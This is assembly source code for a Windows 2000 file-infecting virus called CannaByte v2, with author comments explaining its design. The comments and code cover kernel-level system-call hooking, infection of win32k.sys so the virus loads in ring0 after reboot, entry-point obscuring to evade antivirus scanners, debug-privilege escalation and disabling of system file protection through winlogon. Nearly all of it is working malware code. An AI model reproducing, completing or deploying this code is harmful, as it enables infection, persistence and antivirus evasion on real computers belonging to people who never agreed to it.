```
;win2k.CannaByte.v2 coded by (Super && vallez)
;
;IMPORTANT: THIS CODE IS ONLY FOR READ AND IF YOU WANT TEST IT. IM NOT RESPONSABLE IF YOU
;USE IT FOR BAD THINGS. IN ADDITION NOW THE VIRUS WILL INFECT WIN32K.SYS AND WILL HOOK
;THE APIS BUT IT WILL INFECT ONLY ZZZ.EXE FILE SO FOR IT WORKS FULLY IT MUST BE MODIFIED.
;
;When a infected file arrives to a system it will infect the system.
;The expansion method will be to intercept NtCreateFile and NtOpenFile in SSDT,
;and infect all files that will be opened.
;For that propose,the virus will try to go ring0 and intercept there system calls.
;For going to ring0 virus will infect win32k.sys and in the next restart the virus will
;be loaded in ring0.
;Ill no explain lot of more things here coz virus is very commented so its easily
;understandable.
;version 2 improvements:
;
;Cksum of win32k.sys calculated on the fly,without using apis.
;
;RING0 EPO infection:
;
;       The virus will infect in this manner: it will copy itself in reloc section,however,
;       it will take RVA of relocs. Then it will add a random offset from this RVA. In addition
;       reloc pointer will be erased from data directory. Avs will not able to start the
;       searching from a part of PE becoz the virus could be copied to any section and any
;       offset in the section. In addition the vx will infect using EPO:
;       The virus will search code section where entrypoint is there. It will calculate a random
;       offset from the start of the section. The offset could be between instructions..without
;       pointing a valid opcode. Here the super's theory comes:
;
;       Super's Theory:
;
;       When u jump a random number of bytes in a buffer of code its possible u will
;       jump to a zone between instruction. For example: E8 11 22 33 44 its possible
;       in a random jump you will stay pointing 11 or 22 instead instruction opcode E8.
;       but its possible redrive ur pointer to opcodes doing a route over the code
;       getting instruction lengths and adding them to your pointer, 16 times at max.
;       Then u will be in opcodes sure.
;
;       The theory was full tested and it works perfectly...x86 secrets :)
;
;       Well,using the theory we can redrive our pointer to a valid opcode. From that
;       opcode we will search a call, E8 XX XX XX XX. We will hook that call for
;       giving the control the vx.
;
;       This method could be very powerfull: avs cannot search the vx at a fixed offset
;       and they cannot search the call at a fixed offset. They cannot start to search
;       the vx from the end of the file, becoz the virus could be far of there.
;       In big hosts they will need to read lot of bytes of the host for finding the vx.
;
;       We are using length disassembler engine (lde32) by Z0mbie :) We love your engine.
;
;
;       Problems with EPO: we are copying the vx to a offset from relocs start. In the previous
;       version the virus infected more files, it had more space for infection. Now it will
;       discard more files. However infected files will be more difficult to detect.
;
;
;Other improvements we would like to add with more time:
;
;       Worm support: today internet is the battlefield for vx. Well,this is my opinion:
;       infector viruses are powerful, becoz they are more difficult to be detected,coverall
;       if they are using methods as EPO, poli/meta-morphism, cavity...and other powerful
;       techniques. However internet is succulent for viruses, and a good virus must have
;       internet support. A very powerful virus would have to combine both things, a
;       good infection method, difficulting detection, and a fast expansion method,using
;       internet. We want to add a worm part:
;       The worm part will be in ring3 sending random files from the infected machine. These
;       files will be infected by the hook in the ring0 vx part.
;
;       Sfc disabling: now the virus is able to disable sfc in win2k using benny and ratter
;       method. It would be interesting to add new methods for disabling sfc in all systems.
;       No string searching for patching better. Im sure in the next zine new methods will
;       appears, more generic methods,so it would be interesting to add them.
;
;       Full stealth in memory and disk: we are in ring0 hooking NtCreateFile and NtOpenFile...
;       why not a full stealth in disk for win32k.sys? no time now.. :( In the same manner
;       we would like to add full stealth in memory.

.586p
.model flat,stdcall

extrn ExitProcess:proc
extrn GetLastError:proc
extrn GetModuleHandleA:proc


;29a files
include mz.inc
include pe.inc
include win32api.inc
include useful.inc


;macros

;;;;;;;;;;;;;;;;;;;;;;;
callz macro dir_call
```

```
db 0E8h
dd (dir_call - $ - 4)
endm
;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;
jmpz macro dir_call
db 0E9h
dd (dir_call - $ -4)
endm
;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;
CalcLenString macro
local loopin
push esi
dec esi
loopin:
inc esi
cmp byte ptr[esi],0
jne loopin
mov ecx,esi
pop esi
sub ecx,esi
endm
;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;
GezApi macro BaseKernel,ApiCRC,ApiNameLen
mov eax,BaseKernel
mov edx,ApiCRC
mov ebx,ApiNameLen
callz GetApi
endm
;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;
GezSyscall macro BaseNtdll,ApiCRC,ApiNameLen
GezApi BaseNtdll,ApiCRC,ApiNameLen
mov eax,[eax + 1]
endm
;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;
syscallz macro fc,paramz ;from Ratter's win2k.Joss
mov eax,fc
lea edx,[esp]
int 2eh
add esp,(paramz*4)
endm
;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;
Writez macro BaseKernel,hProcess,OffsetInProc,Buffer,Size
push 0
mov  [esp],esp ;for storing number of writted bytes
push Size
push Buffer
push OffsetInProc
push hProcess
GezApi BaseKernel,WriteMemoryProcessCRC,WMPNameLen
call eax
endm
;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;
Readz macro BaseKernel,hProcess,OffsetInProc,Buffer,Size
push 0
mov  [esp],esp ;for storing number of read bytes
push Size
push Buffer
push OffsetInProc
push hProcess
GezApi BaseKernel,ReadMemoryProcessCRC,RMPNameLen
call eax
endm
;;;;;;;;;;;;;;;;;;;;;;;


;APIS'S NAMES CRCS AND LENGHTS

LoadLibraryACRC             equ 3fc1bd8dh
LLNameLen                   equ 12
CloseHandleCRC              equ 0b09315f4h
CHNameLen                   equ 11
FindFirstFileACRC           equ 0c9ebd5ceh
FFFNameLen                  equ 14
FindNextFileACRC            equ 75272948h
FNFNameLen                  equ 13
FindCloseCRC                equ 0d82bf69ah
FCNameLen                   equ 9
GetTickCountCRC             equ 5b4219f8h
GTCNameLen                  equ 12
WriteMemoryProcessCRC       equ 4f58972eh
WMPNameLen                  equ 18
ReadMemoryProcessCRC        equ 0f7c7ae42h
RMPNameLen                  equ 17
ResumeThreadCRC             equ 3872beb9h
RTNameLen                   equ 12
```

```
ExitProcessCRC              equ 251097CCh
EPNameLen                   equ 11
SetFileAttributesACRC       equ 156b9702h
SFANameLen                  equ 18
CreateFileACRC              equ 553b5c78h
CFNameLen                   equ 11
CreateFileMappingACRC       equ 0b41b926ch
CFMNameLen                  equ 18
MapViewOfFileCRC            equ 0A89b382fh
MVFNameLen                  equ 13
UnmapViewOfFileCRC          equ 391ab6afh
UVFNameLen                  equ 15
SetFileTimeCRC              equ 21804a03h
SFTNameLen                  equ 11
GetModuleHandleACRC         equ 0B1866570h
GMHNameLen                  equ 16
GetLastErrorCRC             equ 0d2e536b7h
GLENameLen                  equ 12
RegisterServiceProcessCRC   equ 3b5ef61fh
RSPNameLen                  equ 22
SetCurrentDirectoryACRC     equ 69b6849fh
SCDNameLen                  equ 20
GetCurrentDirectoryACRC     equ 0c79dc4e3h
GCDNameLen                  equ 20
GetWindowsDirectoryACRC     equ 0fff372beh
GWDNameLen                  equ 20
GetModuleFileNameACRC       equ 08bff7a0h
GMFNNameLen                 equ 18
CreateProcessACRC           equ 0a851d916h
CPNameLen                   equ 14
Module32FirstCRC            equ 38891c00h
M32FNameLen                 equ 13
Module32NextCRC             equ 0f6911852h
M32NNameLen                 equ 12
CreateToolhelp32SnapShotCRC equ 0c1f3b876h
CT32SNameLen                equ 24
VirtualProtectExCRC         equ 5d180413h
VPNameLen                   equ 16
GetCurrentProcessCRC        equ 0d0861aa4h
GCPNameLen                  equ 17
OpenProcessTokenCRC         equ 0f9c60615h
OPTNameLen                  equ 16
LookupPrivilegeValueACRC    equ 0da87bf62h
LPVNameLen                  equ 21
AdjustTokenPrivilegesCRC    equ 0de3e5cfh
ATPNameLen                      equ 21
EnumProcessesCRC            equ 0509a21ch
EPSNameLen                      equ 13
EnumProcessModulesCRC       equ 0dea82ac2h
EPMNameLen                  equ 18
GetModuleInformationCRC     equ 0f2a84636h
GMINameLen                  equ 20
SuspendThreadCRC            equ 0bd76ac31h
STNameLen                   equ 13
FreeLibraryCRC              equ 0da68238fh
FLNameLen                   equ 11
GetVersionCRC               equ 4ccf1a0fh
GVNameLen                   equ 10
RasDialACRC                         equ 0b88da156h
RDNameLen                   equ 8
GetModuleBaseNameACRC       equ 1720513eh
GMBNNameLen                 equ 18
OpenProcessCRC              equ 0df27514bh
OPNameLen                       equ 11
ZwConnectPortCRC            equ 0cbaec255h
ZCPNameLen                      equ 13
NtConnectPortCRC            equ 0c88edce9h
NCPNameLen                      equ 13
ZwRequestPortCRC                equ 0e28aebd1h
ZRPNameLen                      equ 13
DbgUiConnectToDbgCRC        equ 09a51ac3ah
DUCTDNameLen                equ 17
DbgSsInitializeCRC          equ 0d198b351h
DSINameLen                      equ 15
DbgSsHandleKmApiMsgCRC      equ 2e9c4e99h
DSHKAMNameLen               equ 19
GetCurrentProcessIdCRC      equ 1db413e3h
GCPINameLen                 equ 19
GetCurrentThreadIdCRC       equ 8df87e63h
GCTINameLen                 equ 18
WaitForDebugEventCRC        equ 96ab83a1h
WFDENameLen                     equ 17
ContinueDebugEventCRC       equ 0d8e77e49h
CDENameLen                    equ 18
VirtualAllocExCRC             equ 0e62e824dh
VANameLen                       equ 14
CreateRemoteThreadCRC       equ 0ff808c10h
CRTNameLen                  equ 18
NtTerminateProcessCRC       equ 94fcb0c0h
NTPNameLen                  equ 18
ExitThreadCRC               equ 80af62e1h
ETNameLen                   equ 10
GetCurrentDirectoryWCRC     equ 334971b2h
GCDWNameLen                     equ 20
FindFirstFileWCRC               equ 3d3f609fh
FFFWNameLen                 equ 14
SleepCRC                        equ 0cef2eda8h
SNameLen                    equ 5
MoveFileACRC                equ 0de9ff0d1h
```

```
MFNameLen                   equ 9
MapFileAndCheckSumACRC      equ 462eeff7h
MFACSNameLen                equ 19
CheckSumMappedFileCRC       equ 0bbb4966eh
CSMFNameLen                         equ 18
CopyFileACRC                equ 0199dc99h
CpFNameLen                          equ 9
KeServiceDescriptorTableCRC equ 32a4d557h
KSDTNameLen                         equ 24
NtCreateFileCRC             equ 3ee6cc56h
NCFNameLen                          equ 12
ZwOpenFileCRC               equ 0b679c176h
ZOFNameLen                          equ 10
ZwOpenSectionCRC                    equ 73bdfd70h
ZOSNameLen                          equ 13
ZwMapViewOfSectionCRC       equ 0d287ee26h
ZMVOSNameLen                equ 18
ZwCloseCRC                          equ 180c0d23h
ZCNameLen                       equ 7
ZwCreateSectionCRC          equ 2c919477h
ZCSNameLen                          equ 15
ZwUnmapViewOfSectionCRC     equ 9d35f923h
ZUVOSNameLen                equ 20
NtOpenFileCRC               equ 0a1b1dc21h
NOFNameLen                  equ 10
ZwDeleteFileCRC             equ 6967772dh
ZDFNameLen                  equ 12
DeleteFileACRC              equ 919b6bcbh
DFNameLen                           equ 11
ZwCreateFileCRC             equ 0a81a7cd4h
ZCFNameLen                          equ 12
PsCreateSystemThreadCRC     equ 32adfc3ah
PCSTNameLen                         equ 20
KeQueryTickCountCRC         equ 52d6480eh
KQTCNameLen                         equ 16


Kernel32CRC                 equ 204c64e5h               ;CRC of 'kernel32' string


TOKEN_PRIVILEGES struc
TP_count dd ?
TP_luid  dq ?
TP_attribz dd ?
TOKEN_PRIVILEGES ends


unicode_string struc
        us_Length        dw ?
        us_MaximumLength dw ?
      us_Buffer        dd ?
unicode_string ends


objects_attributes struc
        oa_length     dd ?    ;lenght of this structure
        oa_rootdir    dd ?
        oa_objectname dd ?    ;name of the object
        oa_attribz    dd ?    ;attributes of the object
        oa_secdesc         dd ?
        oa_secqos     dd ?
objects_attributes ends


pio_status struc
        ps_ntstatus   dd ?
        ps_info       dd ?
pio_status ends


TOKEN_ASSIGN_PRIMARY                equ 00000001h
TOKEN_DUPLICATE                     equ 00000002h
TOKEN_IMPERSONATE                   equ 00000004h
TOKEN_QUERY                         equ 00000008h
TOKEN_QUERY_SOURCE                  equ 00000010h
TOKEN_ADJUST_PRIVILEGES             equ 00000020h
TOKEN_ADJUST_GROUPS                 equ 00000040h
TOKEN_ADJUST_DEFAULT                equ 00000080h
TOKEN_ALL_ACCESS                            equ STANDARD_RIGHTS_REQUIRED or \
                                                TOKEN_ASSIGN_PRIMARY     or \
                                                TOKEN_DUPLICATE          or \
                                                TOKEN_IMPERSONATE        or \
                                                TOKEN_QUERY              or \
                                                TOKEN_QUERY_SOURCE       or \
                                                TOKEN_ADJUST_PRIVILEGES  or \
                                                TOKEN_ADJUST_GROUPS      or \
                                                TOKEN_ADJUST_DEFAULT
SE_PRIVILEGE_ENABLED                equ 00000002h
CHECKSUM_SUCCESS                    equ 00000000h
CHECKSUM_OPEN_FAILURE               equ 00000001h
CHECKSUM_MAP_FAILURE                equ 00000002h
CHECKSUM_MAPVIEW_FAILURE            equ 00000003h
CHECKSUM_UNICODE_FAILURE            equ 00000004h
OBJ_CASE_INSENSITIVE                equ 00000040h
FILE_DIRECTORY_FILE               equ 00000001h
FILE_WRITE_THROUGH                equ 00000002h
FILE_SEQUENTIAL_ONLY                equ 00000004h
FILE_NO_INTERMEDIATE_BUFFERING    equ 00000008h
FILE_SYNCHRONOUS_IO_ALERT           equ 00000010h
```

```
FILE_SYNCHRONOUS_IO_NONALERT      equ 00000020h
FILE_NON_DIRECTORY_FILE             equ 00000040h
FILE_CREATE_TREE_CONNECTION         equ 00000080h
FILE_COMPLETE_IF_OPLOCKED           equ 00000100h
FILE_NO_EA_KNOWLEDGE                equ 00000200h
FILE_OPEN_FOR_RECOVERY            equ 00000400h
FILE_RANDOM_ACCESS                equ 00000800h
FILE_DELETE_ON_CLOSE              equ 00001000h
FILE_OPEN_BY_FILE_ID              equ 00002000h
FILE_OPEN_FOR_BACKUP_INTENT       equ 00004000h
FILE_NO_COMPRESSION               equ 00008000h
FILE_RESERVE_OPFILTER             equ 00100000h
FILE_OPEN_REPARSE_POINT           equ 00200000h
FILE_OPEN_NO_RECALL               equ 00400000h
FILE_OPEN_FOR_FREE_SPACE_QUERY    equ 00800000h
FILE_COPY_STRUCTURED_STORAGE      equ 00000041h
FILE_STRUCTURED_STORAGE           equ 00000441h
FILE_VALID_OPTION_FLAGS           equ 00ffffffh
FILE_VALID_PIPE_OPTION_FLAGS      equ 00000032h
FILE_VALID_MAILSLOT_OPTION_FLAGS  equ 00000032h
FILE_VALID_SET_FLAGS              equ 00000036h
FILE_SHARE_READ                     equ 00000001h
FILE_SHARE_WRITE                  equ 00000002h
FILE_READ_DATA                      equ 00000001h
FILE_WRITE_DATA                   equ 00000002h
FILE_APPEND_DATA                            equ 00000004h
FILE_OPEN_IF                        equ 00000003h
FILE_OPEN                                   equ 00000001h
FILE_NON_DIRECTORY_FILE           equ 00000040h
STATUS_SUCCESS                      equ 00000000h
SEC_COMMIT                                  equ 08000000h
SECTION_QUERY                       equ 00000001h
SECTION_MAP_WRITE                   equ 00000002h
SECTION_MAP_READ                          equ 00000004h
SECTION_MAP_EXECUTE               equ 00000008h
SECTION_EXTEND_SIZE                 equ 00000010h
STANDART_RIGTHS_REQUIRED          equ 000F0000h
SYNCHRONIZE                       equ 00100000h
THREAD_ALL_ACCESS equ (STANDARD_RIGHTS_REQUIRED + SYNCHRONIZE +  3FFh)

STARTUPINFOSIZE                   equ 68
PROCESSINFORMATIONSIZE              equ 16
cPushfd                                     equ  4
tamvirus = evirus - svirus


.data;
;;;;;;

az db 'KeQueryTickCount',0
azz db 'WriteProfileStringA',0
vallez db 'vallez for 29a',0

.code;
;;;;;;

start:
;;;;;;

;first generation codevvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv

xor ebp,ebp

lea esi,az
CalcLenString
mov edi,ecx
call CRC32
lea esi,azz
CalcLenString
mov edi,ecx
call CRC32

;unprotection of code for first gen
@pushsz "kernel32.dll"
call GetModuleHandleA
push eax
mov  esi,offset svirus
mov  ecx,evirus - svirus
xor  ebx,ebx
callz UnprotectMem
;This small code will move all code 1 byte up for simulate second gen...
lea edi,[evirus]
mov esi,edi
dec esi
mov ecx,evirus-svirus
std
rep movsb
cld
mov byte ptr[svirus],90h
pop eax
mov [ebp + NtKernel],eax

jmp svirus


;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
```

```
;first generation code^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^


;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX



;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv

svirus:

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;Entry Point Of Virus when is executed In ring3.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
EPointFile:

pushad
pushfd


int 3

;;;;;;;;;;;;;;;;;;;;;;;;
call d_offset                   ;I calculate delta offset
d_offset:
pop  ebp
sub ebp,offset d_offset
;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,dword ptr fs:[30h]      ;we ll get kernel address
mov eax,dword ptr [eax+0ch]
mov esi,dword ptr [eax+1ch]
lodsd
mov eax,dword ptr [eax+08h]
;eax->addr in kernel
xor  ax,ax                      ;Ill get kernel address
add  eax,1000h
;eax -> a part of kernel32
SearchKernel:
sub  eax,1000h
cmp  word ptr [eax],'ZM'
jne  SearchKernel
;eax -> base of kernel32
;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;
push eax                        ;i have unprotected the memory of code of virus
lea esi,[ebp + svirus]
mov ecx,tamvirus
xor ebx,ebx
callz UnprotectMem
;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;
pop eax                           ;I get other used librarys
mov [ebp + NtKernel],eax
callz GetLibrarys
;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + NtKernel]          ;Ill keep the current directory
GezApi eax,GetCurrentDirectoryACRC,GCDNameLen
lea ebx,[ebp + CurDir]
push ebx
push 256
call eax;we keep current dir for restoring
;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;
mov ecx,cs                                ;The virus will work in win2k only
xor cl,cl
or ecx,ecx
jne Exit
mov eax,[ebp + NtKernel]        ;Im in NT but i want win2k...
GezApi eax,GetVersionCRC,GVNameLen
call eax
test eax,80000000h
jnz Exit
cmp al,5                          ;i test for win2k(i think XP is 5 too but it will not work
jne Exit                                  ;for win XP)
;Im not sure if this will work in NT previous machines perhaps but ill code for win2k.
;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;
```

```
mov eax,[ebp + NtKernel]        ;we go to system32 directory first
GezApi eax,GetWindowsDirectoryACRC,GWDNameLen
push 256
lea ebx,[ebp + Buffer]
push ebx
call eax
lea esi,[ebp + Buffer]
CalcLenString
mov edi,esi
add edi,ecx
mov al,'\'
stosb
mov eax,'tsys'
stosd
mov eax,'23me'
stosd
xor al,al
mov [edi],al
mov eax,[ebp + NtKernel]
GezApi eax,SetCurrentDirectoryACRC,SCDNameLen
lea esi,[ebp + Buffer]
push esi
call eax
;;;;;;;;;;;;;;;;;;;;;;;;


;I want to enable Debug privilege for token of this user. touch_privilege was coded by Ratter
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + NtAdvapi]                ;enabling debug privilege for this user
GezApi eax,AdjustTokenPrivilegesCRC,ATPNameLen
mov [ebp + tAdjustTokenPrivileges],eax
mov eax,[ebp + NtKernel]
GezApi eax,CloseHandleCRC,CHNameLen
mov [ebp + tCloseHandle],eax
mov eax,[ebp + NtAdvapi]
GezApi eax,LookupPrivilegeValueACRC,LPVNameLen
mov [ebp + tLookupPrivilegeValueA],eax
mov eax,[ebp + NtAdvapi]
GezApi eax,OpenProcessTokenCRC,OPTNameLen
mov [ebp + tOpenProcessToken],eax
mov eax,[ebp + NtKernel]
GezApi eax,GetCurrentProcessCRC,GCPNameLen
mov [ebp + tGetCurrentProcess],eax
push SE_PRIVILEGE_ENABLED
pop eax
@pushsz "SeDebugPrivilege"
pop esi
call touch_privilege
;;;;;;;;;;;;;;;;;;;;;;;;

;Now ill disable sfp with Benny&Ratter method
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;
callz GetWinlogon                       ;I have debug priv so ill disable sfc with benny&ratter method
or eax,eax
jnz Exit
callz AttackWinlogon
or eax,eax
jnz Exit
;;;;;;;;;;;;;;;;;;;;;;;;


;Now infection of win32k.sys
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;U will see in this part lot of move and copy files but i do it for ensuring the
;perfect working of the virus...I had some problems with sfc disabling due this code
;was executed before sfc disabling code so finally win32k.sys was not infected the first
;time that virus was executed in that system uninfected still...but i have correct that
;problem doing some movings and copyings of files...that file here,that file there and
;virus works perfectly now ;P



;;;;;;;;;;;;;;;;;;;;;;;;
lea eax,[ebp + _WIN32_FIND_DATA]        ;Search win32k.sy
push eax
lea eax,[ebp + win32ksy]
push eax
mov eax,[ebp + NtKernel]
GezApi eax,FindFirstFileACRC,FFFNameLen
call eax
cmp eax,0FFFFFFFFh
je NoWin32sySoContinue
push eax
mov eax,[ebp + NtKernel]
GezApi eax,FindCloseCRC,FCNameLen
call eax
lea esi,[ebp + win32ksys]
push esi
mov eax,[ebp + NtKernel]                ;deleting win32k.sys if it would exist
GezApi eax,DeleteFileACRC,DFNameLen
call eax
mov eax,[ebp + NtKernel]            ;renaming win32k.sy to win32k.sys
GezApi eax,MoveFileACRC,MFNameLen
```

```
lea esi,[ebp + win32ksys]
push esi
lea esi,[ebp + win32ksy]
push esi
call eax
;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;
NoWin32sySoContinue:
mov eax,[ebp + NtKernel]              ;we copy win32k.sys to win32k.fuck
GezApi eax,CopyFileACRC,CpFNameLen
push 0
lea esi,[ebp + win32kfuck]
push esi
lea esi,[ebp + win32ksys]
push esi
call eax
;;;;;;;;;;;;;;;;;;;;;;;;


;Why of this?:
;The original win32k.sys is been used by the system so we can modify it...however we can
;change its name. We copy it to win32k.fuck and infect the .fuck file...
;later we renaming win32k.sys to win32k.sy and win32k.fuck to win32k.sys
;and this new win32k.sys will be loaded in ring0 the next time that system reboot.
;i copy .sys to .fuck for no infecting directly over win32k.sys
;coz i had problems...i tried to infect directly over win32k.sys but sometimes(lot of times)
;when i called functions as CreateFile or others, i got this error from GetLastError:
;32(20h)(The process cannot access the file because it is being used by another process)
;I supposed that win32k.sys is a file used lot of times and if i infected directly over
;win32k.sys i would get this error lot of times....so finally i decided to do a copy
;named win32k.fuck for later renaming this file to win32k.sys when already infected.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;Now ill infect win32k.fuck
;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;
lea eax,[ebp + _WIN32_FIND_DATA]        ;Mapping win32k.fuck
push eax
lea eax,[ebp + win32kfuck]
push eax
mov eax,[ebp + NtKernel]
GezApi eax,FindFirstFileACRC,FFFNameLen
call eax
mov [ebp + SearchHand],eax
cmp eax,0FFFFFFFFh
je Exit
callz MapFile
or eax,eax
jz Exit
;;;;;;;;;;;;;;;;;;;;;;;


;INFECTION OF WIN32K.FUCK
;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + ViewHandle]             ;a simple infection overwriting reloc section
mov edx,eax
mov ebx,[eax + 3ch]
add eax,ebx
;eax -> PE
mov bx,word ptr [eax + 8]
cmp bx,'zs'
je StopInfection ;becoz already Infected
mov word ptr [eax + 8],'zs'  ;a small mark ;)
mov ebx,[eax + 28h]          ;EPoint of win32k.sys
mov [ebp + EntryPointWin32ksys],ebx
xor ecx,ecx
mov cx,word ptr [eax + 6]
dec ecx
mov ebx,eax
add ebx,0F8h ;sections
GoToLastSection:
add ebx,28h
loop GoToLastSection
;ebx -> .reloc                          ;over-reloc infection of win32k.sys
cmp [ebx],'ler.'
jne StopInfection
mov dword ptr [ebx + 24h],040000040h ;reloc not discardable,readable,writable
mov ecx,[ebx + 10h]
cmp ecx,tamvirus
jb  StopInfection

;i change entry point of win32k.sys

mov edi,[ebx + 0ch]
add edi,EPointSystem - svirus
mov [eax + 28h],edi ;RVA new entry point for win32k.sys

;ill copy the code overwriting .reloc

mov edi,[ebx + 14h]
add edi,edx
lea esi,[ebp + svirus]
mov ecx,tamvirus
```

```
rep movsb
;;;;;;;;;;;;;;;;;;;;;;;;

;IMPORTANT: I MUST CORRECT WIN32K.FUCK HEADER CKSUM AFTER INFECTION OR SYSTEM WILL NOT START
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;
;In the previous version of the virus the cksum of win32k.sys was calculated with
;MapFileAndCheckSumA api. In this version we will calculate it on the fly.

mov esi,[ebp + ViewHandle]              ;esi->start of buffer
lea ecx,[ebp + _WIN32_FIND_DATA]
mov ecx,[ecx.WFD_nFileSizeLow]
shr ecx,1                                       ;ecx=len of total buf in words for calculating the cksum
mov ebx,[esi + 3ch]
add ebx,esi
lea edx,[ebx.IMAGE_NT_HEADERS.NT_OptionalHeader.OH_CheckSum] ;edx=addr of dword for skipping
xor edi,edi                         ;in edi will be the resulting cksum

CalcCksum:
cmp esi,edx
jne ContinueCksum
add esi,4
sub ecx,2
jmp CalcCksum
ContinueCksum:
push eax
movzx eax,word ptr [esi]
add edi,eax
pop eax
add esi,2
test edi,0FFFF0000h
jz ContinueCksum2
inc edi
and edi,0000FFFFh
ContinueCksum2:
loop CalcCksum
lea ecx,[ebp + _WIN32_FIND_DATA]
mov ecx,[ecx.WFD_nFileSizeLow]
add edi,ecx
mov [ebx.IMAGE_NT_HEADERS.NT_OptionalHeader.OH_CheckSum],edi ;calculated cksum
;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,'szsz'
StopInfection:                      ;Unmmaping win32k.fuck
push eax
callz CloseAll
pop eax
cmp eax,'szsz'
jne SysAlreadyInfected
;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;
push dword ptr [ebp + SearchHand]   ;Closing the search hand
mov eax,[ebp + NtKernel]
GezApi eax,FindCloseCRC,FCNameLen
call eax
;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + NtKernel]            ;renaming win32k.sys to win32k.sy
GezApi eax,MoveFileACRC,MFNameLen
lea esi,[ebp + win32ksy]
push esi
lea esi,[ebp + win32ksys]
push esi
call eax
;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + NtKernel]                ;renaming win32k.fuck to win32k.sys
GezApi eax,MoveFileACRC,MFNameLen
lea esi,[ebp + win32ksys]
push esi
lea esi,[ebp + win32kfuck]
push esi
call eax
;;;;;;;;;;;;;;;;;;;;;;;;


;Exit
;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;
Exit:
mov eax,[ebp + NtKernel]                                ;Exit from virus code...
GezApi eax,SetCurrentDirectoryACRC,SCDNameLen
lea esi,[ebp + CurDir]
push esi
call eax                                                        ;we restore current directory.
